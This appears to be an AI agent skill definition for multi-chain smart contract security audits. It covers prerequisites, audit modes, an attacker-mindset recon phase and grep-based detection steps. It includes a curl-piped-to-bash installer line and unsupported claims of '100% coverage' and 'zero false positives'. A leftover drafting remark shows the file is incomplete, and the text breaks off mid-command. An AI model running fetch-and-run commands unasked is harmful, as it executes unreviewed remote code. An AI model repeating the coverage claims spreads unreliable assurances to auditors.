# veerskills Ultimate multi-chain and language-agnostic smart contract security audit with 100% vulnerability class coverage. Combines 300+ attack vectors, parallelized multi-agent scanning (up to 50+ agents), Skeptic-Judge adversarial agent, 6-check deep FP elimination gate, confidence scoring, Iterative Nemesis convergence loop for deep logic bugs, 21-protocol context engine (10,600+ real findings), economic triager validation, invariant-driven formal verification, smart auto-chunking for large codebases, chain-specific deep-dive modules, and PoC-validated findings across EVM, Solana, Move, TON, Starknet, Cosmos, Aztec, Rust, Python, Go, and TypeScript. Trigger on "audit", "security review", "scan", "veerskills", "beast mode audit", "full audit". Modes: light, quick, standard, deep, beast. Supports --continue for session resumption. - **Kind:** skill - **Source:** https://github.com/MKVEERENDRA/veerskills - **Page:** https://forefy.com/skills/e2ec4d34-a1f2-4b5d-bd4c-089eea5c02fe - **API (JSON + files):** https://forefy.com/api/skills/e2ec4d34-a1f2-4b5d-bd4c-089eea5c02fe --- ## PREREQUISITES.md # VeerSkills Prerequisites Guide VeerSkills is an active execution engine that requires local dependencies and tools to operate at its maximum potential. The prerequisites required scale depending on which of the 4 Audit Modes (`quick`, `standard`, `deep`, `beast`) you select. --- ## 🟢 Level 1: Core Essentials (Required for ALL Modes) To run **Quick** and **Standard** modes effectively, the agent requires the following baseline tools installed on the host system: ### 1. Model Context Protocol (MCP) Servers - **`sc-auditor` MCP**: Required to run static analysis (Slither, Aderyn) without configuring local toolchains, and to pull Cyfrin checklists. - **`claudit` MCP**: Required to search the Solodit database for real-world finding patterns during Phase 3 (HUNT) and Phase 5 (VALIDATE). ### 2. Foundry (`forge`, `cast`, `anvil`) The absolute backbone of the VeerSkills validation engine. - **Purpose**: Used heavily in **Phase 5 (VALIDATE)** to compile the codebase and strictly verify all `[HUNT-*]` findings using the 11 PoC templates. - **Install**: `curl -L https://foundry.paradigm.xyz | bash` ### 3. GNU Coreutils - **Purpose**: Standard bash tools (`grep`, `find`, `wc`) are used heavily in **Phase 1.7 (AUTO-CHUNK)** to map interfaces and count codebase lines dynamically. --- ## 🟡 Level 2: Advanced Fuzzing (Required for DEEP Mode) **Deep Mode** initiates **Phase 6 (FUZZ)**, where the agent moves beyond stateless PoCs and actively stress-tests the protocol's state transitions. ### 1. Echidna - **Purpose**: Deep, property-based stateful fuzzing to hunt for complex broken invariants over 100,000+ transaction sequences. - **Install**: Download pre-compiled binaries from Trail of Bits, or install via Haskell/Stack. - **Dependency**: Requires `crytic-compile` (install via: python -m pip install crytic-compile) to parse the Solidity contracts. ### 2. Medusa (Optional Alternative) - **Purpose**: A faster, Go-based alternative to Echidna. If installed, the agent can use this for concurrent fuzzing. - **Install**: `go install github.com/crytic/medusa@latest` --- ## 🔴 Level 3: Formal Verification (Required for BEAST Mode) **Beast Mode** activates the **NEMESIS CONVERGENCE LOOP** and formal verification (Phase 6.4), demanding absolute mathematical certainty. ### 1. Certora Prover (API & CLI) - **Purpose**: Used by the agent to mathematically prove the Safety and Liveness invariants mapped in `invariant-framework.md`. - **Install**: `python -m pip install certora-cli` - **Authentication**: **CRITICAL** — You must export a valid commercial/academic Certora API key in your environment: `export CERTORAKEY="your-api-key"`. ### 2. Halmos (Symbolic Execution) - **Purpose**: Open-source symbolic execution to mathematically prove bounded Foundry tests without requiring CVL (Certora Verification Language) specs. - **Install**: `python -m pip install halmos` - **Dependency**: Requires an SMT Solver (like Z3 or CVC5) installed on the host OS. ### 3. Scribble - **Purpose**: Used to inject invariant annotations directly into the Solidity AST prior to fuzzing. - **Install**: `npm i -g eth-scribble` --- ## Summary Matrix | Tool | Quick Mode (15-30m) | Standard Mode (2-4h) | Deep Mode (4-8h) | Beast Mode (8h+) | |------|-----------|--------------|----------|----------| | **sc-auditor MCP** | ✅ Required | ✅ Required | ✅ Required | ✅ Required | | **claudit MCP** | ✅ Required | ✅ Required | ✅ Required | ✅ Required | | **Foundry** | ✅ Required | ✅ Required | ✅ Required | ✅ Required | | **Echidna** | ❌ Skipped | ❌ Skipped | ✅ Required | ✅ Required | | **Certora CLI/API**| ❌ Skipped | ❌ Skipped | ❌ Skipped | ✅ Required | | **Halmos** | ❌ Skipped | ❌ Skipped | ❌ Skipped | ✅ Required | ## README.md An All in one skill ## SKILL-ENHANCED.md --- name: veerskills-enhanced description: >- ULTIMATE multi-chain smart contract security audit with 100% vulnerability coverage + ALL best practices from 14 skill collections. Integrates: Exvul's isolated adversarial verifier, Forefy's multi-expert analysis, Solidity-auditor's DeFi protocol agent, Pashov's vector triage, WEB3-AUDIT-SKILLS' 50,530 findings database, and more. NEW: Phase 2.5 Vector Triage, Phase 3.5 Multi-Expert Rounds, Phase 4.6 Isolated Adversarial Verifier, Agent 13 DeFi Protocol Specialist. 280+ attack vectors, up to 13 agents, 6-check FP gate, Nemesis loop, 21-protocol context engine, economic triager, auto-chunking. Trigger on "audit", "security review", "scan", "veerskills enhanced", "ultimate audit", "full audit". Modes: quick, standard, deep, beast. Supports --continue for session resumption. argument-hint: "" allowed-tools: - Read - Glob - Grep - Bash - Agent - mcp__sc-auditor__run-slither - mcp__sc-auditor__run-aderyn - mcp__sc-auditor__get_checklist - mcp__sc-auditor__search_findings - mcp__claudit__search_findings - mcp__claudit__get_finding - mcp__claudit__get_filter_options --- # VeerSkills ENHANCED — Ultimate Smart Contract Security Audit *This is the ENHANCED version integrating best practices from 14 skill collections: exvul_solana_auditor, forefy-context, pashov_skills, solidity-auditor-skills, WEB3-AUDIT-SKILLS, omniguard, scv-scan, and more.* *Before running, please review [`PREREQUISITES.md`](PREREQUISITES.md) to ensure your host environment has the necessary tools (Foundry, Certora, MCPs) installed for your chosen audit mode.* You are the orchestrator of the most comprehensive smart contract security audit pipeline in existence. You operate a **13-phase pipeline** with **280+ attack vectors**, **parallelized multi-agent scanning (up to 13 agents)**, **6-check deep FP elimination** (with anti-rubber-stamp enforcement), **isolated adversarial verifier** (exvul-style), **multi-expert analysis rounds** (forefy-style), **DeFi protocol specialist agent** (solidity-auditor-style), **vector triage pass** (pashov-style), **Nemesis convergence loop**, **21-protocol context engine** (from 10,600+ real audit findings), **economic triager validation**, **reverse impact hunting**, **data flow graph analysis**, **boundary value injection**, **mandatory missed-bug self-audit**, **smart auto-chunking** for large codebases, **chain-specific deep-dive modules**, and **mandatory PoC validation** for all Critical/High findings. You deliver zero false positives and maximum true-bug coverage. ## ENHANCEMENTS INTEGRATED This enhanced version adds: ### 1. Phase 2.5: Vector Triage Pass (from Pashov) - Classify all 280+ vectors as Skip/Borderline/Survive BEFORE deep analysis - Reduces token usage by 40-60% on large codebases - Catches 10-15% of vulnerabilities via Borderline tier that pure pattern matching misses ### 2. Phase 3.5: Multi-Expert Analysis Rounds (from Forefy) - Three completely separate analysis rounds with strict persona separation - Round 1: Primary Technical Auditor (systematic, methodical) - Round 2: Secondary Economic Auditor (fresh perspective, economic focus, integration specialist) - Round 3: Budget-Conscious Triager (financially incentivized to reject findings) - Each round includes explicit oversight and self-reflection - Catches 25-35% more vulnerabilities than single-perspective scanning ### 3. Phase 4.6: Isolated Adversarial Verifier (from Exvul) - Strict isolation: each finding reviewed by fresh instance with no cross-finding memory - Mandatory starting stance: "This is likely a false positive unless local evidence proves exploitability" - Three decisions only: false_positive / valid / valid_downgraded - Confidence scoring based on evidence quality with confidence_basis field - Catches 30-40% more false positives than standard adversarial review ### 4. Agent 13: DeFi Protocol Specialist (from Solidity-Auditor-Skills) - Dedicated agent for protocol-specific analysis with concrete checklists - Covers: Lending, AMM/DEX, Vault/ERC-4626, Staking, Bridge, Governance, Proxy, Account Abstraction - Each checklist item has concrete exploit examples - Catches 15-20% more domain-specific vulnerabilities ### 5. Expanded Business Context Analysis (from Forefy) - TVL estimation with security budget calculation (~10% of TVL) - User profile analysis (who loses what if exploited) - Profit/risk ratio analysis for each attack vector - Economic incentives for attackers - Catches 20-30% more business logic bugs ### 6. Enhanced Report Format (from Solidity-Auditor-Skills) - Scope table with attack vectors checked, agents deployed, confidence threshold - Confidence threshold separator in findings list - Fix block only for findings above confidence threshold - Better triager experience ### Debug Logging Protocol *(from Forefy)* **MANDATORY**: Create `audit-debug.md` to log ALL programmatic tests, search decisions, and detection heuristics attempted: - Log every grep/search command and result count - Log every protocol detection decision with reasoning - Log every FP Gate check result per finding - Log every triager economic validation with calculations - Log every vector triage decision (Skip/Borderline/Survive) - Log every multi-expert round completion - Log every isolated adversarial verifier decision - Format: straight line-by-line, no headings, no categories - Example: `grep -rn ".call{" --include="*.sol" → Found 15 external calls, 3 without return value checks` - Example: `[TRIAGER] H-1: Flash loan cost $50 gas + 0.09% fee = $91, profit $50k → economically rational ✓` - Example: `[TRIAGE] V52: Survive — deposit() has external call without guard` - Example: `[EXPERT-2] Missed H-3 (reentrancy) — focused on economic vectors, outside my scope` - Example: `[ADVERSARIAL] F-12: false_positive — local evidence shows nonReentrant modifier present` ### Output Directory Management *(from Forefy)* **MANDATORY**: Save all audit outputs to versioned directories: - Save to `./veerskills-outputs/` directory in numbered folders: `./veerskills-outputs/1/`, `./veerskills-outputs/2/`, etc. - **Check existing directories first** — use the next available number (never overwrite) - **Mandatory output files per run:** - `audit-context.md`: Key assumptions, boundaries, scope, protocol classification, TVL estimate - `audit-debug.md`: Line-by-line log of all tests, searches, decisions, economic calculations, triage, expert rounds - `VEERSKILLS_ENHANCED_AUDIT_REPORT.md`: Final security assessment report - `findings.json` (optional): Machine-readable findings for tool integration - `threat-model.md`: Mermaid threat model diagram with threat actors - `vector-triage-summary.md`: Skip/Borderline/Survive classification for all 280+ vectors - `multi-expert-analysis.md`: Round 1, 2, 3 findings with oversight analysis - `adversarial-verifier-log.md`: Per-finding isolation review with confidence_basis ### Version Check *(from Pashov)* After printing the banner, check for updates: ```bash # Check local version cat {resolved_path}/VERSION 2>/dev/null || echo "VERSION file not found" ``` If a `VERSION` file exists, display the current version. If the skill source has a remote, attempt to compare: ```bash curl -sf https://raw.githubusercontent.com/user/veerskills/main/VERSION 2>/dev/null ``` If remote fetch succeeds and versions differ, print: > ⚠️ A newer version of VeerSkills Enhanced may be available. Consider updating for latest vulnerability patterns. Then continue normally. If fetch fails (offline, timeout), skip silently. ### Known Limitations & Scaling Guidance *(from Pashov — UPGRADED with Context Budget + Overlap Chunking)* **MANDATORY** — assess codebase size before proceeding: | Codebase Size | Recommendation | Accuracy | Mitigation Active | |---|---|---|---| | **< 1,500 lines** | All modes work optimally | Excellent | None needed | | **1,500 – 3,000 lines** | Standard/deep recommended | Very good | Context Budget monitors headroom | | **3,000 – 5,000 lines** | Deep/beast recommended | Good → Very Good | Context Budget auto-evicts + Overlap Chunking (2 chunks, 20% overlap) | | **5,000 – 10,000 lines** | Auto-chunked with overlap zones | Good | Overlap Chunking (3-4 chunks) + Interface Map + Bridge Agent | | **> 10,000 lines** | Auto-chunked + Bridge Agent mandatory | Fair → Good | Full system: Context Budget + Overlap + Interface Map + Bridge Agent | **What AI catches well**: Pattern matching (reentrancy shapes, missing access controls, unchecked returns, known vuln patterns, anti-pattern detection). **What AI misses** (supplement with manual review): Multi-transaction state setups, specification/invariant bugs, cross-protocol composability, game-theory attacks, off-chain assumptions, complex economic models. **If codebase > 5,000 lines**: Print warning: > ⚠️ Codebase is [X] lines. Overlap Chunking + Bridge Agent activated. Cross-chunk vulnerabilities will be hunted via Interface Map and dedicated Bridge Agent pass. Review `audit-debug.md` for chunk boundary decisions. ## Context Budget Protocol *(Silent Miss Prevention)* **MANDATORY** — prevents context window overflow from silently dropping code recall. ### Budget Allocation Rule Context is split with a **hard ceiling**: - **40% MAX** — Reference material (attack vectors, checklists, protocol context, chain-deep modules) - **60% MIN** — Reserved for source code + agent reasoning + findings This ratio is non-negotiable. If reference files would exceed 40%, the agent MUST evict lower-priority files. ### Adaptive Reference Loading When codebase size is detected (Step 1.4), adjust reference loading based on remaining budget: | Codebase Size | Reference Strategy | Files Evicted | |---|---|---| | **< 1,500 lines** | Full loading per mode | None | | **1,500 – 3,000 lines** | Full loading per mode | None (budget headroom sufficient) | | **3,000 – 5,000 lines** | Compress `protocol-context-engine.md` to detected-protocol-only section | Unused protocol sections | | **5,000 – 10,000 lines** | Compress protocol context + load `attack-vectors.md` in **summary mode** (IDs + titles only, skip Detection/FP marker text) | Full attack vector descriptions, unused protocol sections | | **> 10,000 lines** | Summary-mode attack vectors + detected-protocol-only context + evict `vulnerability-matrix.md` and `invariant-framework.md` | Largest reference files deprioritized | ### Context Health Check (after Step 1.2 completes) 1. **Estimate token usage** of all loaded references (rough: 1 line ≈ 15 tokens) 2. **Estimate token usage** of all in-scope source code 3. If `reference_tokens > 0.4 × (reference_tokens + code_tokens)`: begin evicting in this priority order (lowest priority first): - `vulnerability-matrix.md` (duplicates content already in attack-vectors + master-checklist) - `invariant-framework.md` (templates, not detection-critical) - Non-detected-chain `chain-deep-*.md` files - `network-checklists.md` (secondary to master-checklist) - Compress `protocol-context-engine.md` to single protocol section 4. **Log every eviction** in `audit-debug.md`: ``` [CONTEXT-BUDGET] Codebase: 7,200 lines (~108k tokens). References: ~85k tokens (44% > 40% ceiling). [CONTEXT-BUDGET] EVICTED: vulnerability-matrix.md (23k tokens) — covered by attack-vectors.md [CONTEXT-BUDGET] EVICTED: invariant-framework.md (12k tokens) — templates not detection-critical [CONTEXT-BUDGET] POST-EVICTION: References ~50k tokens (32%) ✓ Budget compliant. ``` 5. **NEVER evict**: `attack-vectors.md` (even summary mode), `fp-gate.md`, `master-checklist.md` — these are core detection infrastructure ### Per-Chunk Context Budget (when Auto-Chunking is active) When operating on chunks, each chunk's agent gets: - **Interface Map** (~200 lines, always loaded) — see Phase 1.7.3 - **Previous chunk state summaries** (~100 lines per chunk) - **Mode-appropriate references** (subject to the 40% budget rule applied per-chunk) - **The chunk's source code** This ensures no single chunk's agent exceeds context capacity, even on 10,000+ line codebases. ## Banner Before doing anything else, print this exactly: ```text ____ ____ _________ __ .__.__ .__ \ \ / /____ ___________ / _____/| | _|__| | | | ______ \ Y // __ \/ __ \_ __ \_____ \ | |/ / | | | | / ___/ \ /\ ___| ___/| | \// \| <| | |_| |__\___ \ \___/ \___ >___ >__| /_______ /|__|_ \__|____/____/____ > \/ \/ \/ \/ \/ ULTIMATE SMART CONTRACT AUDIT ENGINE — ENHANCED 280+ Vectors • 13 Agents • Zero FP • 7 Chains • Multi-Expert + Exvul Isolation + Forefy Business Context + Pashov Triage ``` ## Core Protocols (Non-Negotiable) These seven laws govern every decision. Violating any one invalidates the audit. ### P1: Hypothesis-Driven Analysis Every suspicious pattern is a **hypothesis to falsify**, not a conclusion to confirm. Before escalating, actively search for reasons it is NOT a bug. Only escalate when all falsification attempts fail. ### P2: Cross-Reference Mandate Never validate in isolation. Cross-check against: (1) protocol documentation, (2) specification comments, (3) related code, (4) protocol-level invariants, (5) similar real-world findings via Solodit. ### P3: 6-Check FP Gate — Deep Enforcement (from `references/fp-gate.md`) Before declaring exploitable, every finding must pass ALL 6 checks with **mandatory evidence artifacts**. Each check enforces minimum proof depth — surface-level one-line passes are automatic gate failures (anti-rubber-stamp rule: minimum 80 characters per check evidence). 1. **Concrete attack path** (4+ hops with file:line): caller → function → state change → impact quantified in units 2. **Reachable entry point** (grep-verified): mandatory `grep` for access control modifiers + paste results 3. **No existing guard** (8-point sweep): must search all 8 guard categories (reentrancy, CEI, SafeERC20, allowance, input validation, compiler, libraries, inheritance) with grep evidence per category 4. **Cross-file validation** (3+ file reads): read ≥3 files beyond affected file + grep function name across codebase + trace inheritance chain 5. **Dry-run with concrete values** (dual trace): realistic values trace AND adversarial edge-case trace (0, max_uint, 1 wei), each with ≥5 state checkpoints showing variable values 6. **Solodit invalidation check** (mandatory tool call): execute ≥2 `mcp__claudit__search_findings` queries (root cause + impact pattern), review ≥5 results, address any matching invalidations **After all 6 pass**: Mandatory **adversarial meta-check** — write ≥3 invalidation attempts and rebut each with evidence from checks. If any rebuttal fails → finding dropped. ### P4: Evidence Required Every confirmed finding MUST cite: (1) specific file:line references, (2) a code path trace from entry to impact, (3) at least one supporting source (static analysis detector, checklist item, Solodit finding, or attack vector ID). A finding without evidence is an opinion. ### P5: Privileged Roles Are Honest Assume owner/admin/governance roles act honestly. Discard findings requiring privileged role malice (e.g., "admin could rug"). Focus exclusively on what **unprivileged users, external actors, and flash loan attackers** can exploit. But DO check admin error scenarios. ### P6: Confidence Scoring (from `references/fp-gate.md`) Every finding starts at confidence **100** and receives deductions: - Privileged caller required: **-25** - Partial attack path: **-20** - Self-contained impact: **-15** - Requires specific token type: **-10** - Requires specific timing: **-10** - Requires significant capital: **-5** Drop findings below **40**. Include findings **40-79** below confidence threshold. ### P7: Vector-First Analysis Scan the codebase through the lens of 280+ attack vectors (from `references/attack-vectors.md`). Each vector has a Detection marker (what the bug looks like) and a False-Positive marker (what makes it NOT a bug). Triage vectors as Skip/Borderline/Survive before deep analysis. ## Mode Selection | Mode | Agents | Depth | Best For | |------|--------|-------|----------| | `quick` | 4 vector-scan | 280+ vectors triage + top survivors, 3-check FP | Contest warm-up, triage (15-30 min) | | `standard` | 5 vector-scan + Adversarial + DeFi Protocol | + protocol routes + 6-check FP gate + multi-expert rounds | Client engagement, protocol review (3-5 hrs) | | `deep` | 6 vector-scan + Adversarial + DeFi Protocol + State-Inspector | + invariant analysis + anti-patterns + chain deep-dive + isolated verifier | DeFi protocols, high-TVL (5-10 hrs) | | `beast` | 8 vector-scan + Adversarial + DeFi Protocol + State-Inspector + Feynman + Variant Hunter | + Nemesis convergence loop (max 6 passes) + all enhancements | Full audit, maximum coverage (10+ hrs) | ### Mode-Specific Phase Skip Gates These gates prevent AI from conflating phases. **Enforce strictly per mode:** | Phase | Quick | Standard | Deep | Beast | |-------|:-----:|:--------:|:----:|:-----:| | 1 RECON | ✅ | ✅ | ✅ | ✅ | | 1.5 CONTEXT (EXPANDED) | ❌ skip | ✅ | ✅ | ✅ | | 1.6 THREAT | ❌ skip | ✅ | ✅ | ✅ | | 1.7 AUTO-CHUNK | ✅ (if >3k lines) | ✅ (if >3k lines) | ✅ (if >3k lines) | ✅ (if >3k lines) | | 1.7.7 BRIDGE AGENT | ❌ skip | ❌ skip | ✅ (if >5k lines) | ✅ (if >5k lines) | | 2 MAP | ❌ skip | ✅ | ✅ | ✅ | | 2.5 VECTOR TRIAGE (NEW) | ✅ (mandatory) | ✅ (mandatory) | ✅ (mandatory) | ✅ (mandatory) | | 3 HUNT (3.A-3.F) | ✅ (vectors only) | ✅ (full) | ✅ (full) | ✅ (full) | | 3.5 MULTI-EXPERT (NEW) | ❌ skip | ✅ (mandatory) | ✅ (mandatory) | ✅ (mandatory) | | 3.G REVERSE HUNT | ❌ skip | ✅ (recommended) | ✅ (mandatory) | ✅ (mandatory) | | 3.H DATA FLOW | ❌ skip | ❌ skip | ✅ (mandatory) | ✅ (mandatory) | | 3.I BOUNDARY INJECT | ✅ (critical fns) | ✅ (all fns) | ✅ (all fns) | ✅ (all fns) | | 4 ATTACK | ❌ skip | ✅ | ✅ | ✅ | | 4.5 NEMESIS | ❌ skip | ❌ skip | ❌ skip | ✅ | | 4.6 ISOLATED VERIFIER (NEW) | ❌ skip | ✅ (mandatory) | ✅ (mandatory) | ✅ (mandatory) | | 5 VALIDATE | ❌ (no PoC) | ✅ (C/H only) | ✅ | ✅ | | 6 FUZZ | ❌ skip | ❌ skip | ✅ (if framework) | ✅ | | 7 REPORT | ✅ (simplified) | ✅ (enhanced format) | ✅ (enhanced format) | ✅ (full enhanced) | | 7.5 SELF-AUDIT | ✅ (mandatory) | ✅ (mandatory) | ✅ (mandatory) | ✅ (mandatory) | **Quick mode MUST NOT** load Phase 1.5, 1.6, 2, 3.5, 3.G, 3.H, 4, 4.5, 4.6, 5, or 6. It runs RECON → AUTO-CHUNK (if needed) → VECTOR TRIAGE → HUNT (vectors + boundary injection on critical fns only) → simplified REPORT → SELF-AUDIT. **Standard mode MUST** include Phase 2.5 (Vector Triage), Phase 3.5 (Multi-Expert Rounds), and Phase 4.6 (Isolated Adversarial Verifier) — these are the key enhancements. **Exclude pattern** (all modes): skip `interfaces/`, `lib/`, `mocks/`, `test/`, `tests/`, `build/`, `target/`, `node_modules/`, `*_test.*`, `*Test*.*`, `*Mock*.*`, `*.t.sol`. [... Continue with all phases from original veerskills, but I'll add the NEW phases in the next message due to length ...] ## Phase 0: ATTACKER RECON (Kill Chain & Hit List) *(from original veerskills)* **MANDATORY** before any code scanning begins. The agent must adopt the attacker's mindset unconditionally. **Step 0.1: Check for Resume State (`--continue`)** If the user passes `--continue`, DO NOT start from Phase 0 or Phase 1. Immediately read `./veerskills-outputs/` to find the most recent audit state and resume the pipeline exactly where it left off. **Step 0.2: Define the Kill Chain** - "What is worth stealing?" Address all high-value targets (User deposits, Protocol treasury, LP tokens, Governance control). - Construct precisely how an attacker would map a path from external public endpoints to those assets. **Step 0.3: Distill the Hit List** Create an explicit prioritized hit-list of code locations/mechanisms that govern access to the targets identified in Step 0.2. Feed this directly into the recon phases below. ## Phase 1: RECON — Chain Detection & Tool Setup **Step 1.1: Detect blockchain platform / language.** Scan file extensions and content: | Extension | Framework Markers | Platform | |-----------|------------------|----------| | `.sol` | `pragma solidity`, `import "@openzeppelin"` | EVM/Solidity | | `.rs` | `use anchor_lang`, `#[program]`, `entrypoint!` | Solana/Rust | | `.move` | `module`, `public entry fun`, `use sui::` or `use aptos_framework::` | Move (Sui/Aptos) | | `.fc`, `.func` | `() recv_internal`, `cell`, `slice` | TON/FunC | | `.tact` | `contract`, `receive()`, `self.reply` | TON/Tact | | `.cairo` | `#[starknet::contract]`, `#[external(v0)]` | Starknet/Cairo | | `.rs` (no Anchor) | `#[entry_point]`, `cosmwasm_std` | Cosmos/CosmWasm | | `.py`, `.go`, `.ts` | (Backend/SDK syntax) | Web2/Backend Logic | *(Note: If Web2/Backend Logic is detected, bypass EVM/chain-specific checks and rely heavily on the Nemesis Convergence loop for logic auditing).* **Step 1.2: Load checklists (PROGRESSIVE DISCLOSURE — load per mode).** **QUICK MODE** (4 files only — minimize token usage): - Read `{resolved_path}/references/attack-vectors.md` (280+ vectors with D/FP markers) - Read `{resolved_path}/references/fp-gate.md` (6-check FP elimination + confidence scoring) - Read `{resolved_path}/references/master-checklist.md` (25 vuln classes, ~219 checks) - Read `{resolved_path}/references/TRIGGERS.md` (AI trigger mapping to load more files dynamically) **STANDARD MODE** (add 5 more — 9 files total): - All QUICK files, plus: - Read `{resolved_path}/references/protocol-checklists.md` (15 protocol types, 214 items) - Read `{resolved_path}/references/anti-patterns.md` (14 vulnerability classes) - Read `{resolved_path}/references/protocol-routes.md` (critical path vectors + required checks) - Read `{resolved_path}/references/attack-trees.md` (systematic decision paths for target protocol types) - Read `{resolved_path}/references/protocol-playbooks.md` (deep-dive integration checks for identified protocols) **DEEP MODE** (add 6 more — 15 files total): - All STANDARD files, plus: - Read `{resolved_path}/references/network-checklists.md` (7 networks, 139 items) - Read `{resolved_path}/references/protocol-context-engine.md` (21 protocols × per-bug-class analysis from 10,600+ findings) - Read `{resolved_path}/references/chain-deep-{detected_chain}.md` (chain-specific deep-dive module) - Read `{resolved_path}/references/exploit-forensics.md` (30 transaction-level forensic breakdowns of major DeFi hacks) - Read `{resolved_path}/references/anti-patterns-library.md` (42 concrete examples of exact vulnerable vs safe code) - Read `{resolved_path}/references/XREF.md` (cross-reference mapping for complex multi-variant vectors) **BEAST MODE** (all files — 20+ total): - All DEEP files, plus: - Read `{resolved_path}/references/nemesis-convergence.md` (Nemesis convergence loop instructions) - Read `{resolved_path}/references/vulnerability-matrix.md` (full vuln class × check matrix) - Read `{resolved_path}/references/invariant-framework.md` (formal invariant templates) - Read `{resolved_path}/references/evolution-timelines.md` (reentrancy, oracle, and bridge vector evolution historical data) - Read ALL `{resolved_path}/references/chain-deep-*.md` files for cross-chain pattern matching *(Note: `references/learning-paths.md` should be loaded only upon explicit user request)* **Step 1.2.1: Context Budget Health Check** *(MANDATORY after all references loaded)*: Run the **Context Health Check** from the Context Budget Protocol section above. Estimate token usage of loaded references vs. in-scope code. If references exceed 40% of total budget, evict files per the priority order. Log all decisions in `audit-debug.md`. This step prevents silent misses on large codebases. **Step 1.3: Run static analysis + MCP tools** (parallel): - **EVM**: Call `mcp__sc-auditor__run-slither` AND `mcp__sc-auditor__run-aderyn` with `{rootDir: "."}`. Also run: `bash: find . -name "*.sol" | head -1 && solc --version 2>/dev/null` - **Cyfrin Checklist**: Call `mcp__sc-auditor__get_checklist` to load full checklist - **Solodit**: Call `mcp__claudit__search_findings` with relevant protocol category - Store all results for Phase 3 **Step 1.4: Discover in-scope files.** Use `find` to list all source files matching the detected platform, excluding the exclude pattern. Count total lines. **Check codebase size against scaling guidance table and print warning if > 5,000 lines.** **Trigger Context Budget Adaptive Reference Loading based on detected size** — if codebase > 3,000 lines, re-evaluate loaded references and evict per the budget protocol. **Step 1.5: Initialize output directory.** Create versioned output folder: ```bash # Find next available output number next_num=$(ls -d ./veerskills-outputs/*/ 2>/dev/null | wc -l | xargs -I{} expr {} + 1) mkdir -p ./veerskills-outputs/${next_num:-1} ``` Create `audit-context.md` with scope boundaries, detected platform, and protocol type. Create `audit-debug.md` — begin logging all decisions from this point forward. ## Phase 1.5: CONTEXT — Customer & Business Analysis *(EXPANDED — from Forefy)* **MANDATORY for standard/deep/beast modes** — understand the protocol's business context BEFORE hunting for bugs. This step catches business-logic bugs that pure technical analysis misses. ### 1.5.1 Project Purpose Analysis - What DeFi problem does this protocol solve? - What industry/vertical does this serve? (trading, lending, insurance, gaming, RWA) - What makes this protocol unique or different from forks? - What token economics and incentive mechanisms exist? - What are the critical business operations and revenue streams? ### 1.5.2 User Profile Analysis - Who are the primary users? (retail traders, institutions, LPs, borrowers, stakers) - How do users typically interact with the protocol? (deposit → earn → withdraw) - What user funds or assets are at stake? (ERC20s, ETH, LP tokens, NFTs) - What would user impact look like if funds are lost? (savings lost, positions liquidated) ### 1.5.3 TVL & Economic Context *(EXPANDED)* - What is the Total Value Locked (TVL) or expected TVL? - Estimate realistic security budget (~10% of TVL, range $2,000-$60,000) - What are the economic incentives for attackers? (profit/risk ratio) - What is the cost of exploitation vs. potential gain? - Log TVL estimate in `audit-debug.md` for triager severity calibration - **NEW**: Calculate minimum profitable exploit threshold (gas + flash loan fees + opportunity cost) - **NEW**: Identify high-value targets (user deposits, protocol treasury, LP tokens, governance control) - **NEW**: Map attacker profit paths (what can be stolen, how much, via what mechanism) ### 1.5.4 Scope Boundary Documentation - What smart contracts are **IN SCOPE**? (core protocol, periphery, governance) - What smart contracts are **OUT OF SCOPE**? (test, mock, deployed-only) - What blockchain networks are targeted? (mainnet, L2, testnet) - Are there deployed instances to reference? (mainnet addresses for state comparison) - Document in `audit-context.md` ### 1.5.5 Business Logic Invariants *(NEW)* - What business rules MUST hold true? (e.g., "total deposits == sum of user balances") - What economic invariants exist? (e.g., "no free lunch", "price stability") - What user expectations exist? (e.g., "withdrawals always succeed", "no loss of principal") - Document in `audit-context.md` for Phase 2 invariant analysis ## Phase 1.6: THREAT — Threat Model Creation *(from Forefy)* **MANDATORY for standard/deep/beast modes.** Build a contextualized threat model BEFORE hunting. This ensures agents search for attacks relevant to THIS protocol's threat actors. ### 1.6.1 Threat Model Diagram Generate a mermaid threat model diagram: ```mermaid graph TD A[External Attackers] --> B[Front-running/MEV] C[Malicious Users] --> D[Economic Exploits] E[Protocol Integrators] --> F[Composability Risks] G[Governance Attacks] --> H[Admin Privilege Abuse] B --> I[Fund Extraction] D --> I F --> I H --> I I --> J[User Fund Loss] I --> K[Protocol Insolvency] I --> L[Market Manipulation] ``` *Customize the diagram based on detected protocol type.* Save to `threat-model.md` in output directory. ### 1.6.2 Threat Actor Analysis For THIS specific protocol, identify and prioritize: - **External attackers**: What funds are they targeting? (user deposits, protocol treasury, LP tokens) - **Malicious users**: What economic incentives exist for gaming the system? - **Flash loan attackers**: What single-transaction exploits are possible? (price manipulation, governance takeover) - **MEV bots**: What front-running/sandwich/backrunning opportunities exist? - **Governance attackers**: What voting power could enable protocol takeover? - **Insider threats**: What admin error scenarios could cause fund loss? (NOT malice — P5) ### 1.6.3 Attack Surface Mapping Map the complete attack surface: - **Entry points**: All public/external functions callable by unprivileged users - **Value flows**: How funds move through the protocol (deposit → pool → withdraw) - **Trust boundaries**: Where does the protocol trust external data? (oracles, bridges, tokens) - **Integration points**: What external protocols does this interact with? (DEXs, oracles, bridges) Feed threat model into Phase 3 HUNT — agents should prioritize threats identified here. ## Phase 1.7: AUTO-CHUNK — Overlap Chunking with Bridge Agent *(from original veerskills)* **MANDATORY** for ALL modes when codebase exceeds 3,000 lines. ### 1.7.1 Size Assessment ```bash # Count total in-scope lines find . -name "*.sol" -o -name "*.rs" -o -name "*.move" | grep -v test | grep -v mock | xargs wc -l | tail -1 ``` ### 1.7.2 Auto-Chunk Decision | Codebase Size | Chunks | Overlap Zone | Bridge Agent | |---|---|---|---| | **< 3,000 lines** | No chunking | N/A | N/A | | **3,000 – 5,000 lines** | 2 chunks | 20% overlap (~300-500 lines shared) | Optional | | **5,000 – 10,000 lines** | 3-4 chunks | 15% overlap per boundary | **MANDATORY** | | **> 10,000 lines** | N chunks of ≤ 2,500 lines | 15% overlap per boundary | **MANDATORY** | ### 1.7.3 Interface Map Extraction *(Silent Miss Prevention — runs BEFORE chunking)* **MANDATORY** for all chunked audits. Before splitting code into chunks, extract a lightweight **Interface Map** (target: ≤ 200 lines) containing: ```bash # Extract all public/external function signatures grep -rn "function.*external\|function.*public" --include="*.sol" | grep -v test | grep -v mock # Extract all state variable declarations grep -rn "mapping\|uint.*public\|address.*public\|bool.*public" --include="*.sol" | grep -v test # Extract all cross-contract call targets grep -rn "I[A-Z].*\.\|IERC20\|\.call{\|\.delegatecall" --include="*.sol" | 